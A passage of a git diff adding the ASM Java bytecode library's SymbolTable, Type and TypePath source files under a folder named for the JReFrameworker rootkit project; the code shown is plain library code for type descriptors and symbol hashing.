hash(Symbol.UNINITIALIZED_TYPE_TAG, value, bytecodeOffset); + Entry entry = get(hashCode); + while (entry != null) { + if (entry.tag == Symbol.UNINITIALIZED_TYPE_TAG + && entry.hashCode == hashCode + && entry.data == bytecodeOffset + && entry.value.equals(value)) { + return entry.index; + } + entry = entry.next; + } + return addTypeInternal( + new Entry(typeCount, Symbol.UNINITIALIZED_TYPE_TAG, value, bytecodeOffset, hashCode)); + } + + /** + * Adds a merged type in the type table of this symbol table. Does nothing if the type table + * already contains a similar type. + * + * @param typeTableIndex1 a {@link Symbol#TYPE_TAG} type, specified by its index in the type + * table. + * @param typeTableIndex2 another {@link Symbol#TYPE_TAG} type, specified by its index in the type + * table. + * @return the index of a new or already existing {@link Symbol#TYPE_TAG} type Symbol, + * corresponding to the common super class of the given types. + */ + int addMergedType(final int typeTableIndex1, final int typeTableIndex2) { + // TODO sort the arguments? The merge result should be independent of their order. + long data = typeTableIndex1 | (((long) typeTableIndex2) << 32); + int hashCode = hash(Symbol.MERGED_TYPE_TAG, typeTableIndex1 + typeTableIndex2); + Entry entry = get(hashCode); + while (entry != null) { + if (entry.tag == Symbol.MERGED_TYPE_TAG && entry.hashCode == hashCode && entry.data == data) { + return entry.info; + } + entry = entry.next; + } + String type1 = typeTable[typeTableIndex1].value; + String type2 = typeTable[typeTableIndex2].value; + int commonSuperTypeIndex = addType(classWriter.getCommonSuperClass(type1, type2)); + put(new Entry(typeCount, Symbol.MERGED_TYPE_TAG, data, hashCode)).info = commonSuperTypeIndex; + return commonSuperTypeIndex; + } + + /** + * Adds the given type Symbol to {@link #typeTable}. + * + * @param entry a {@link Symbol#TYPE_TAG} or {@link Symbol#UNINITIALIZED_TYPE_TAG} type symbol. + * The index of this Symbol must be equal to the current value of {@link #typeCount}. + * @return the index in {@link #typeTable} where the given type was added, which is also equal to + * entry's index by hypothesis. + */ + private int addTypeInternal(final Entry entry) { + if (typeTable == null) { + typeTable = new Entry[16]; + } + if (typeCount == typeTable.length) { + Entry[] newTypeTable = new Entry[2 * typeTable.length]; + System.arraycopy(typeTable, 0, newTypeTable, 0, typeTable.length); + typeTable = newTypeTable; + } + typeTable[typeCount++] = entry; + return put(entry).index; + } + + // ----------------------------------------------------------------------------------------------- + // Static helper methods to compute hash codes. + // ----------------------------------------------------------------------------------------------- + + private static int hash(final int tag, final int value) { + return 0x7FFFFFFF & (tag + value); + } + + private static int hash(final int tag, final long value) { + return 0x7FFFFFFF & (tag + (int) value + (int) (value >>> 32)); + } + + private static int hash(final int tag, final String value) { + return 0x7FFFFFFF & (tag + value.hashCode()); + } + + private static int hash(final int tag, final String value1, final int value2) { + return 0x7FFFFFFF & (tag + value1.hashCode() + value2); + } + + private static int hash(final int tag, final String value1, final String value2) { + return 0x7FFFFFFF & (tag + value1.hashCode() * value2.hashCode()); + } + + private static int hash( + final int tag, final String value1, final String value2, final int value3) { + return 0x7FFFFFFF & (tag + value1.hashCode() * value2.hashCode() * (value3 + 1)); + } + + private static int hash( + final int tag, final String value1, final String value2, final String value3) { + return 0x7FFFFFFF & (tag + value1.hashCode() * value2.hashCode() * value3.hashCode()); + } + + private static int hash( + final int tag, + final String value1, + final String value2, + final String value3, + final int value4) { + return 0x7FFFFFFF & (tag + value1.hashCode() * value2.hashCode() * value3.hashCode() * value4); + } + + /** + * An entry of a SymbolTable. This concrete and private subclass of {@link Symbol} adds two fields + * which are only used inside SymbolTable, to implement hash sets of symbols (in order to avoid + * duplicate symbols). See {@link #entries}. + * + * @author Eric Bruneton + */ + private static class Entry extends Symbol { + + /** The hash code of this entry. */ + final int hashCode; + + /** + * Another entry (and so on recursively) having the same hash code (modulo the size of {@link + * #entries}) as this one. + */ + Entry next; + + Entry( + final int index, + final int tag, + final String owner, + final String name, + final String value, + final long data, + final int hashCode) { + super(index, tag, owner, name, value, data); + this.hashCode = hashCode; + } + + Entry(final int index, final int tag, final String value, final int hashCode) { + super(index, tag, /* owner = */ null, /* name = */ null, value, /* data = */ 0); + this.hashCode = hashCode; + } + + Entry(final int index, final int tag, final String value, final long data, final int hashCode) { + super(index, tag, /* owner = */ null, /* name = */ null, value, data); + this.hashCode = hashCode; + } + + Entry( + final int index, final int tag, final String name, final String value, final int hashCode) { + super(index, tag, /* owner = */ null, name, value, /* data = */ 0); + this.hashCode = hashCode; + } + + Entry(final int index, final int tag, final long data, final int hashCode) { + super(index, tag, /* owner = */ null, /* name = */ null, /* value = */ null, data); + this.hashCode = hashCode; + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Type.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Type.java new file mode 100644 index 0000000..180e058 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Type.java @@ -0,0 +1,891 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. +package org.objectweb.asm; + +import java.lang.reflect.Constructor; +import java.lang.reflect.Method; + +/** + * A Java field or method type. This class can be used to make it easier to manipulate type and + * method descriptors. + * + * @author Eric Bruneton + * @author Chris Nokleberg + */ +public final class Type { + + /** The sort of the {@code void} type. See {@link #getSort}. */ + public static final int VOID = 0; + + /** The sort of the {@code boolean} type. See {@link #getSort}. */ + public static final int BOOLEAN = 1; + + /** The sort of the {@code char} type. See {@link #getSort}. */ + public static final int CHAR = 2; + + /** The sort of the {@code byte} type. See {@link #getSort}. */ + public static final int BYTE = 3; + + /** The sort of the {@code short} type. See {@link #getSort}. */ + public static final int SHORT = 4; + + /** The sort of the {@code int} type. See {@link #getSort}. */ + public static final int INT = 5; + + /** The sort of the {@code float} type. See {@link #getSort}. */ + public static final int FLOAT = 6; + + /** The sort of the {@code long} type. See {@link #getSort}. */ + public static final int LONG = 7; + + /** The sort of the {@code double} type. See {@link #getSort}. */ + public static final int DOUBLE = 8; + + /** The sort of array reference types. See {@link #getSort}. */ + public static final int ARRAY = 9; + + /** The sort of object reference types. See {@link #getSort}. */ + public static final int OBJECT = 10; + + /** The sort of method types. See {@link #getSort}. */ + public static final int METHOD = 11; + + /** The (private) sort of object reference types represented with an internal name. */ + private static final int INTERNAL = 12; + + /** The descriptors of the primitive types. */ + private static final String PRIMITIVE_DESCRIPTORS = "VZCBSIFJD"; + + /** The {@code void} type. */ + public static final Type VOID_TYPE = new Type(VOID, PRIMITIVE_DESCRIPTORS, VOID, VOID + 1); + + /** The {@code boolean} type. */ + public static final Type BOOLEAN_TYPE = + new Type(BOOLEAN, PRIMITIVE_DESCRIPTORS, BOOLEAN, BOOLEAN + 1); + + /** The {@code char} type. */ + public static final Type CHAR_TYPE = new Type(CHAR, PRIMITIVE_DESCRIPTORS, CHAR, CHAR + 1); + + /** The {@code byte} type. */ + public static final Type BYTE_TYPE = new Type(BYTE, PRIMITIVE_DESCRIPTORS, BYTE, BYTE + 1); + + /** The {@code short} type. */ + public static final Type SHORT_TYPE = new Type(SHORT, PRIMITIVE_DESCRIPTORS, SHORT, SHORT + 1); + + /** The {@code int} type. */ + public static final Type INT_TYPE = new Type(INT, PRIMITIVE_DESCRIPTORS, INT, INT + 1); + + /** The {@code float} type. */ + public static final Type FLOAT_TYPE = new Type(FLOAT, PRIMITIVE_DESCRIPTORS, FLOAT, FLOAT + 1); + + /** The {@code long} type. */ + public static final Type LONG_TYPE = new Type(LONG, PRIMITIVE_DESCRIPTORS, LONG, LONG + 1); + + /** The {@code double} type. */ + public static final Type DOUBLE_TYPE = + new Type(DOUBLE, PRIMITIVE_DESCRIPTORS, DOUBLE, DOUBLE + 1); + + // ----------------------------------------------------------------------------------------------- + // Fields + // ----------------------------------------------------------------------------------------------- + + /** + * The sort of this type. Either {@link #VOID}, {@link #BOOLEAN}, {@link #CHAR}, {@link #BYTE}, + * {@link #SHORT}, {@link #INT}, {@link #FLOAT}, {@link #LONG}, {@link #DOUBLE}, {@link #ARRAY}, + * {@link #OBJECT}, {@link #METHOD} or {@link #INTERNAL}. + */ + private final int sort; + + /** + * A buffer containing the value of this field or method type. This value is an internal name for + * {@link #OBJECT} and {@link #INTERNAL} types, and a field or method descriptor in the other + * cases. + * + *

For {@link #OBJECT} types, this field also contains the descriptor: the characters in + * [{@link #valueBegin},{@link #valueEnd}) contain the internal name, and those in [{@link + * #valueBegin} - 1, {@link #valueEnd} + 1) contain the descriptor. + */ + private final String valueBuffer; + + /** + * The beginning index, inclusive, of the value of this Java field or method type in {@link + * #valueBuffer}. This value is an internal name for {@link #OBJECT} and {@link #INTERNAL} types, + * and a field or method descriptor in the other cases. + */ + private final int valueBegin; + + /** + * The end index, exclusive, of the value of this Java field or method type in {@link + * #valueBuffer}. This value is an internal name for {@link #OBJECT} and {@link #INTERNAL} types, + * and a field or method descriptor in the other cases. + */ + private final int valueEnd; + + /** + * Constructs a reference type. + * + * @param sort the sort of this type, see {@link #sort}. + * @param valueBuffer a buffer containing the value of this field or method type. + * @param valueBegin the beginning index, inclusive, of the value of this field or method type in + * valueBuffer. + * @param valueEnd the end index, exclusive, of the value of this field or method type in + * valueBuffer. + */ + private Type(final int sort, final String valueBuffer, final int valueBegin, final int valueEnd) { + this.sort = sort; + this.valueBuffer = valueBuffer; + this.valueBegin = valueBegin; + this.valueEnd = valueEnd; + } + + // ----------------------------------------------------------------------------------------------- + // Methods to get Type(s) from a descriptor, a reflected Method or Constructor, other types, etc. + // ----------------------------------------------------------------------------------------------- + + /** + * Returns the {@link Type} corresponding to the given type descriptor. + * + * @param typeDescriptor a field or method type descriptor. + * @return the {@link Type} corresponding to the given type descriptor. + */ + public static Type getType(final String typeDescriptor) { + return getTypeInternal(typeDescriptor, 0, typeDescriptor.length()); + } + + /** + * Returns the {@link Type} corresponding to the given class. + * + * @param clazz a class. + * @return the {@link Type} corresponding to the given class. + */ + public static Type getType(final Class clazz) { + if (clazz.isPrimitive()) { + if (clazz == Integer.TYPE) { + return INT_TYPE; + } else if (clazz == Void.TYPE) { + return VOID_TYPE; + } else if (clazz == Boolean.TYPE) { + return BOOLEAN_TYPE; + } else if (clazz == Byte.TYPE) { + return BYTE_TYPE; + } else if (clazz == Character.TYPE) { + return CHAR_TYPE; + } else if (clazz == Short.TYPE) { + return SHORT_TYPE; + } else if (clazz == Double.TYPE) { + return DOUBLE_TYPE; + } else if (clazz == Float.TYPE) { + return FLOAT_TYPE; + } else if (clazz == Long.TYPE) { + return LONG_TYPE; + } else { + throw new AssertionError(); + } + } else { + return getType(getDescriptor(clazz)); + } + } + + /** + * Returns the method {@link Type} corresponding to the given constructor. + * + * @param constructor a {@link Constructor} object. + * @return the method {@link Type} corresponding to the given constructor. + */ + public static Type getType(final Constructor constructor) { + return getType(getConstructorDescriptor(constructor)); + } + + /** + * Returns the method {@link Type} corresponding to the given method. + * + * @param method a {@link Method} object. + * @return the method {@link Type} corresponding to the given method. + */ + public static Type getType(final Method method) { + return getType(getMethodDescriptor(method)); + } + + /** + * Returns the type of the elements of this array type. This method should only be used for an + * array type. + * + * @return Returns the type of the elements of this array type. + */ + public Type getElementType() { + final int numDimensions = getDimensions(); + return getTypeInternal(valueBuffer, valueBegin + numDimensions, valueEnd); + } + + /** + * Returns the {@link Type} corresponding to the given internal name. + * + * @param internalName an internal name. + * @return the {@link Type} corresponding to the given internal name. + */ + public static Type getObjectType(final String internalName) { + return new Type( + internalName.charAt(0) == '[' ? ARRAY : INTERNAL, internalName, 0, internalName.length()); + } + + /** + * Returns the {@link Type} corresponding to the given method descriptor. Equivalent to + * Type.getType(methodDescriptor). + * + * @param methodDescriptor a method descriptor. + * @return the {@link Type} corresponding to the given method descriptor. + */ + public static Type getMethodType(final String methodDescriptor) { + return new Type(METHOD, methodDescriptor, 0, methodDescriptor.length()); + } + + /** + * Returns the method {@link Type} corresponding to the given argument and return types. + * + * @param returnType the return type of the method. + * @param argumentTypes the argument types of the method. + * @return the method {@link Type} corresponding to the given argument and return types. + */ + public static Type getMethodType(final Type returnType, final Type... argumentTypes) { + return getType(getMethodDescriptor(returnType, argumentTypes)); + } + + /** + * Returns the argument types of methods of this type. This method should only be used for method + * types. + * + * @return the argument types of methods of this type. + */ + public Type[] getArgumentTypes() { + return getArgumentTypes(getDescriptor()); + } + + /** + * Returns the {@link Type} values corresponding to the argument types of the given method + * descriptor. + * + * @param methodDescriptor a method descriptor. + * @return the {@link Type} values corresponding to the argument types of the given method + * descriptor. + */ + public static Type[] getArgumentTypes(final String methodDescriptor) { + // First step: compute the number of argument types in methodDescriptor. + int numArgumentTypes = 0; + // Skip the first character, which is always a '('. + int currentOffset = 1; + // Parse the argument types, one at a each loop iteration. + while (methodDescriptor.charAt(currentOffset) != ')') { + while (methodDescriptor.charAt(currentOffset) == '[') { + currentOffset++; + } + if (methodDescriptor.charAt(currentOffset++) == 'L') { + // Skip the argument descriptor content. + currentOffset = methodDescriptor.indexOf(';', currentOffset) + 1; + } + ++numArgumentTypes; + } + + // Second step: create a Type instance for each argument type. + Type[] argumentTypes = new Type[numArgumentTypes]; + // Skip the first character, which is always a '('. + currentOffset = 1; + // Parse and create the argument types, one at each loop iteration. + int currentArgumentTypeIndex = 0; + while (methodDescriptor.charAt(currentOffset) != ')') { + final int currentArgumentTypeOffset = currentOffset; + while (methodDescriptor.charAt(currentOffset) == '[') { + currentOffset++; + } + if (methodDescriptor.charAt(currentOffset++) == 'L') { + // Skip the argument descriptor content. + currentOffset = methodDescriptor.indexOf(';', currentOffset) + 1; + } + argumentTypes[currentArgumentTypeIndex++] = + getTypeInternal(methodDescriptor, currentArgumentTypeOffset, currentOffset); + } + return argumentTypes; + } + + /** + * Returns the {@link Type} values corresponding to the argument types of the given method. + * + * @param method a method. + * @return the {@link Type} values corresponding to the argument types of the given method. + */ + public static Type[] getArgumentTypes(final Method method) { + Class[] classes = method.getParameterTypes(); + Type[] types = new Type[classes.length]; + for (int i = classes.length - 1; i >= 0; --i) { + types[i] = getType(classes[i]); + } + return types; + } + + /** + * Returns the return type of methods of this type. This method should only be used for method + * types. + * + * @return the return type of methods of this type. + */ + public Type getReturnType() { + return getReturnType(getDescriptor()); + } + + /** + * Returns the {@link Type} corresponding to the return type of the given method descriptor. + * + * @param methodDescriptor a method descriptor. + * @return the {@link Type} corresponding to the return type of the given method descriptor. + */ + public static Type getReturnType(final String methodDescriptor) { + // Skip the first character, which is always a '('. + int currentOffset = 1; + // Skip the argument types, one at a each loop iteration. + while (methodDescriptor.charAt(currentOffset) != ')') { + while (methodDescriptor.charAt(currentOffset) == '[') { + currentOffset++; + } + if (methodDescriptor.charAt(currentOffset++) == 'L') { + // Skip the argument descriptor content. + currentOffset = methodDescriptor.indexOf(';', currentOffset) + 1; + } + } + return getTypeInternal(methodDescriptor, currentOffset + 1, methodDescriptor.length()); + } + + /** + * Returns the {@link Type} corresponding to the return type of the given method. + * + * @param method a method. + * @return the {@link Type} corresponding to the return type of the given method. + */ + public static Type getReturnType(final Method method) { + return getType(method.getReturnType()); + } + + /** + * Returns the {@link Type} corresponding to the given field or method descriptor. + * + * @param descriptorBuffer a buffer containing the field or method descriptor. + * @param descriptorBegin the beginning index, inclusive, of the field or method descriptor in + * descriptorBuffer. + * @param descriptorEnd the end index, exclusive, of the field or method descriptor in + * descriptorBuffer. + * @return the {@link Type} corresponding to the given type descriptor. + */ + private static Type getTypeInternal( + final String descriptorBuffer, final int descriptorBegin, final int descriptorEnd) { + switch (descriptorBuffer.charAt(descriptorBegin)) { + case 'V': + return VOID_TYPE; + case 'Z': + return BOOLEAN_TYPE; + case 'C': + return CHAR_TYPE; + case 'B': + return BYTE_TYPE; + case 'S': + return SHORT_TYPE; + case 'I': + return INT_TYPE; + case 'F': + return FLOAT_TYPE; + case 'J': + return LONG_TYPE; + case 'D': + return DOUBLE_TYPE; + case '[': + return new Type(ARRAY, descriptorBuffer, descriptorBegin, descriptorEnd); + case 'L': + return new Type(OBJECT, descriptorBuffer, descriptorBegin + 1, descriptorEnd - 1); + case '(': + return new Type(METHOD, descriptorBuffer, descriptorBegin, descriptorEnd); + default: + throw new IllegalArgumentException(); + } + } + + // ----------------------------------------------------------------------------------------------- + // Methods to get class names, internal names or descriptors. + // ----------------------------------------------------------------------------------------------- + + /** + * Returns the binary name of the class corresponding to this type. This method must not be used + * on method types. + * + * @return the binary name of the class corresponding to this type. + */ + public String getClassName() { + switch (sort) { + case VOID: + return "void"; + case BOOLEAN: + return "boolean"; + case CHAR: + return "char"; + case BYTE: + return "byte"; + case SHORT: + return "short"; + case INT: + return "int"; + case FLOAT: + return "float"; + case LONG: + return "long"; + case DOUBLE: + return "double"; + case ARRAY: + StringBuilder stringBuilder = new StringBuilder(getElementType().getClassName()); + for (int i = getDimensions(); i > 0; --i) { + stringBuilder.append("[]"); + } + return stringBuilder.toString(); + case OBJECT: + case INTERNAL: + return valueBuffer.substring(valueBegin, valueEnd).replace('/', '.'); + default: + throw new AssertionError(); + } + } + + /** + * Returns the internal name of the class corresponding to this object or array type. The internal + * name of a class is its fully qualified name (as returned by Class.getName(), where '.' are + * replaced by '/'). This method should only be used for an object or array type. + * + * @return the internal name of the class corresponding to this object type. + */ + public String getInternalName() { + return valueBuffer.substring(valueBegin, valueEnd); + } + + /** + * Returns the internal name of the given class. The internal name of a class is its fully + * qualified name, as returned by Class.getName(), where '.' are replaced by '/'. + * + * @param clazz an object or array class. + * @return the internal name of the given class. + */ + public static String getInternalName(final Class clazz) { + return clazz.getName().replace('.', '/'); + } + + /** + * Returns the descriptor corresponding to this type. + * + * @return the descriptor corresponding to this type. + */ + public String getDescriptor() { + if (sort == OBJECT) { + return valueBuffer.substring(valueBegin - 1, valueEnd + 1); + } else if (sort == INTERNAL) { + return new StringBuilder() + .append('L') + .append(valueBuffer, valueBegin, valueEnd) + .append(';') + .toString(); + } else { + return valueBuffer.substring(valueBegin, valueEnd); + } + } + + /** + * Returns the descriptor corresponding to the given class. + * + * @param clazz an object class, a primitive class or an array class. + * @return the descriptor corresponding to the given class. + */ + public static String getDescriptor(final Class clazz) { + StringBuilder stringBuilder = new StringBuilder(); + appendDescriptor(clazz, stringBuilder); + return stringBuilder.toString(); + } + + /** + * Returns the descriptor corresponding to the given constructor. + * + * @param constructor a {@link Constructor} object. + * @return the descriptor of the given constructor. + */ + public static String getConstructorDescriptor(final Constructor constructor) { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.append('('); + Class[] parameters = constructor.getParameterTypes(); + for (Class parameter : parameters) { + appendDescriptor(parameter, stringBuilder); + } + return stringBuilder.append(")V").toString(); + } + + /** + * Returns the descriptor corresponding to the given argument and return types. + * + * @param returnType the return type of the method. + * @param argumentTypes the argument types of the method. + * @return the descriptor corresponding to the given argument and return types. + */ + public static String getMethodDescriptor(final Type returnType, final Type... argumentTypes) { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.append('('); + for (Type argumentType : argumentTypes) { + argumentType.appendDescriptor(stringBuilder); + } + stringBuilder.append(')'); + returnType.appendDescriptor(stringBuilder); + return stringBuilder.toString(); + } + + /** + * Returns the descriptor corresponding to the given method. + * + * @param method a {@link Method} object. + * @return the descriptor of the given method. + */ + public static String getMethodDescriptor(final Method method) { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.append('('); + Class[] parameters = method.getParameterTypes(); + for (Class parameter : parameters) { + appendDescriptor(parameter, stringBuilder); + } + stringBuilder.append(')'); + appendDescriptor(method.getReturnType(), stringBuilder); + return stringBuilder.toString(); + } + + /** + * Appends the descriptor corresponding to this type to the given string buffer. + * + * @param stringBuilder the string builder to which the descriptor must be appended. + */ + private void appendDescriptor(final StringBuilder stringBuilder) { + if (sort == OBJECT) { + stringBuilder.append(valueBuffer, valueBegin - 1, valueEnd + 1); + } else if (sort == INTERNAL) { + stringBuilder.append('L').append(valueBuffer, valueBegin, valueEnd).append(';'); + } else { + stringBuilder.append(valueBuffer, valueBegin, valueEnd); + } + } + + /** + * Appends the descriptor of the given class to the given string builder. + * + * @param clazz the class whose descriptor must be computed. + * @param stringBuilder the string builder to which the descriptor must be appended. + */ + private static void appendDescriptor(final Class clazz, final StringBuilder stringBuilder) { + Class currentClass = clazz; + while (currentClass.isArray()) { + stringBuilder.append('['); + currentClass = currentClass.getComponentType(); + } + if (currentClass.isPrimitive()) { + char descriptor; + if (currentClass == Integer.TYPE) { + descriptor = 'I'; + } else if (currentClass == Void.TYPE) { + descriptor = 'V'; + } else if (currentClass == Boolean.TYPE) { + descriptor = 'Z'; + } else if (currentClass == Byte.TYPE) { + descriptor = 'B'; + } else if (currentClass == Character.TYPE) { + descriptor = 'C'; + } else if (currentClass == Short.TYPE) { + descriptor = 'S'; + } else if (currentClass == Double.TYPE) { + descriptor = 'D'; + } else if (currentClass == Float.TYPE) { + descriptor = 'F'; + } else if (currentClass == Long.TYPE) { + descriptor = 'J'; + } else { + throw new AssertionError(); + } + stringBuilder.append(descriptor); + } else { + stringBuilder.append('L'); + String name = currentClass.getName(); + int nameLength = name.length(); + for (int i = 0; i < nameLength; ++i) { + char car = name.charAt(i); + stringBuilder.append(car == '.' ? '/' : car); + } + stringBuilder.append(';'); + } + } + + // ----------------------------------------------------------------------------------------------- + // Methods to get the sort, dimension, size, and opcodes corresponding to a Type or descriptor. + // ----------------------------------------------------------------------------------------------- + + /** + * Returns the sort of this type. + * + * @return {@link #VOID}, {@link #BOOLEAN}, {@link #CHAR}, {@link #BYTE}, {@link #SHORT}, {@link + * #INT}, {@link #FLOAT}, {@link #LONG}, {@link #DOUBLE}, {@link #ARRAY}, {@link #OBJECT} or + * {@link #METHOD}. + */ + public int getSort() { + return sort == INTERNAL ? OBJECT : sort; + } + + /** + * Returns the number of dimensions of this array type. This method should only be used for an + * array type. + * + * @return the number of dimensions of this array type. + */ + public int getDimensions() { + int numDimensions = 1; + while (valueBuffer.charAt(valueBegin + numDimensions) == '[') { + numDimensions++; + } + return numDimensions; + } + + /** + * Returns the size of values of this type. This method must not be used for method types. + * + * @return the size of values of this type, i.e., 2 for {@code long} and {@code double}, 0 for + * {@code void} and 1 otherwise. + */ + public int getSize() { + switch (sort) { + case VOID: + return 0; + case BOOLEAN: + case CHAR: + case BYTE: + case SHORT: + case INT: + case FLOAT: + case ARRAY: + case OBJECT: + case INTERNAL: + return 1; + case LONG: + case DOUBLE: + return 2; + default: + throw new AssertionError(); + } + } + + /** + * Returns the size of the arguments and of the return value of methods of this type. This method + * should only be used for method types. + * + * @return the size of the arguments of the method (plus one for the implicit this argument), + * argumentsSize, and the size of its return value, returnSize, packed into a single int i = + * {@code (argumentsSize << 2) | returnSize} (argumentsSize is therefore equal to {@code + * i >> 2}, and returnSize to {@code i & 0x03}). + */ + public int getArgumentsAndReturnSizes() { + return getArgumentsAndReturnSizes(getDescriptor()); + } + + /** + * Computes the size of the arguments and of the return value of a method. + * + * @param methodDescriptor a method descriptor. + * @return the size of the arguments of the method (plus one for the implicit this argument), + * argumentsSize, and the size of its return value, returnSize, packed into a single int i = + * {@code (argumentsSize << 2) | returnSize} (argumentsSize is therefore equal to {@code + * i >> 2}, and returnSize to {@code i & 0x03}). + */ + public static int getArgumentsAndReturnSizes(final String methodDescriptor) { + int argumentsSize = 1; + // Skip the first character, which is always a '('. + int currentOffset = 1; + int currentChar = methodDescriptor.charAt(currentOffset); + // Parse the argument types and compute their size, one at a each loop iteration. + while (currentChar != ')') { + if (currentChar == 'J' || currentChar == 'D') { + currentOffset++; + argumentsSize += 2; + } else { + while (methodDescriptor.charAt(currentOffset) == '[') { + currentOffset++; + } + if (methodDescriptor.charAt(currentOffset++) == 'L') { + // Skip the argument descriptor content. + currentOffset = methodDescriptor.indexOf(';', currentOffset) + 1; + } + argumentsSize += 1; + } + currentChar = methodDescriptor.charAt(currentOffset); + } + currentChar = methodDescriptor.charAt(currentOffset + 1); + if (currentChar == 'V') { + return argumentsSize << 2; + } else { + int returnSize = (currentChar == 'J' || currentChar == 'D') ? 2 : 1; + return argumentsSize << 2 | returnSize; + } + } + + /** + * Returns a JVM instruction opcode adapted to this {@link Type}. This method must not be used for + * method types. + * + * @param opcode a JVM instruction opcode. This opcode must be one of ILOAD, ISTORE, IALOAD, + * IASTORE, IADD, ISUB, IMUL, IDIV, IREM, INEG, ISHL, ISHR, IUSHR, IAND, IOR, IXOR and + * IRETURN. + * @return an opcode that is similar to the given opcode, but adapted to this {@link Type}. For + * example, if this type is {@code float} and {@code opcode} is IRETURN, this method returns + * FRETURN. + */ + public int getOpcode(final int opcode) { + if (opcode == Opcodes.IALOAD || opcode == Opcodes.IASTORE) { + switch (sort) { + case BOOLEAN: + case BYTE: + return opcode + (Opcodes.BALOAD - Opcodes.IALOAD); + case CHAR: + return opcode + (Opcodes.CALOAD - Opcodes.IALOAD); + case SHORT: + return opcode + (Opcodes.SALOAD - Opcodes.IALOAD); + case INT: + return opcode; + case FLOAT: + return opcode + (Opcodes.FALOAD - Opcodes.IALOAD); + case LONG: + return opcode + (Opcodes.LALOAD - Opcodes.IALOAD); + case DOUBLE: + return opcode + (Opcodes.DALOAD - Opcodes.IALOAD); + case ARRAY: + case OBJECT: + case INTERNAL: + return opcode + (Opcodes.AALOAD - Opcodes.IALOAD); + case METHOD: + case VOID: + throw new UnsupportedOperationException(); + default: + throw new AssertionError(); + } + } else { + switch (sort) { + case VOID: + if (opcode != Opcodes.IRETURN) { + throw new UnsupportedOperationException(); + } + return Opcodes.RETURN; + case BOOLEAN: + case BYTE: + case CHAR: + case SHORT: + case INT: + return opcode; + case FLOAT: + return opcode + (Opcodes.FRETURN - Opcodes.IRETURN); + case LONG: + return opcode + (Opcodes.LRETURN - Opcodes.IRETURN); + case DOUBLE: + return opcode + (Opcodes.DRETURN - Opcodes.IRETURN); + case ARRAY: + case OBJECT: + case INTERNAL: + if (opcode != Opcodes.ILOAD && opcode != Opcodes.ISTORE && opcode != Opcodes.IRETURN) { + throw new UnsupportedOperationException(); + } + return opcode + (Opcodes.ARETURN - Opcodes.IRETURN); + case METHOD: + throw new UnsupportedOperationException(); + default: + throw new AssertionError(); + } + } + } + + // ----------------------------------------------------------------------------------------------- + // Equals, hashCode and toString. + // ----------------------------------------------------------------------------------------------- + + /** + * Tests if the given object is equal to this type. + * + * @param object the object to be compared to this type. + * @return {@literal true} if the given object is equal to this type. + */ + @Override + public boolean equals(final Object object) { + if (this == object) { + return true; + } + if (!(object instanceof Type)) { + return false; + } + Type other = (Type) object; + if ((sort == INTERNAL ? OBJECT : sort) != (other.sort == INTERNAL ? OBJECT : other.sort)) { + return false; + } + int begin = valueBegin; + int end = valueEnd; + int otherBegin = other.valueBegin; + int otherEnd = other.valueEnd; + // Compare the values. + if (end - begin != otherEnd - otherBegin) { + return false; + } + for (int i = begin, j = otherBegin; i < end; i++, j++) { + if (valueBuffer.charAt(i) != other.valueBuffer.charAt(j)) { + return false; + } + } + return true; + } + + /** + * Returns a hash code value for this type. + * + * @return a hash code value for this type. + */ + @Override + public int hashCode() { + int hashCode = 13 * (sort == INTERNAL ? OBJECT : sort); + if (sort >= ARRAY) { + for (int i = valueBegin, end = valueEnd; i < end; i++) { + hashCode = 17 * (hashCode + valueBuffer.charAt(i)); + } + } + return hashCode; + } + + /** + * Returns a string representation of this type. + * + * @return the descriptor of this type. + */ + @Override + public String toString() { + return getDescriptor(); + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/TypePath.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/TypePath.java new file mode 100644 index 0000000..7d6217e --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/TypePath.java @@ -0,0 +1,201 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. 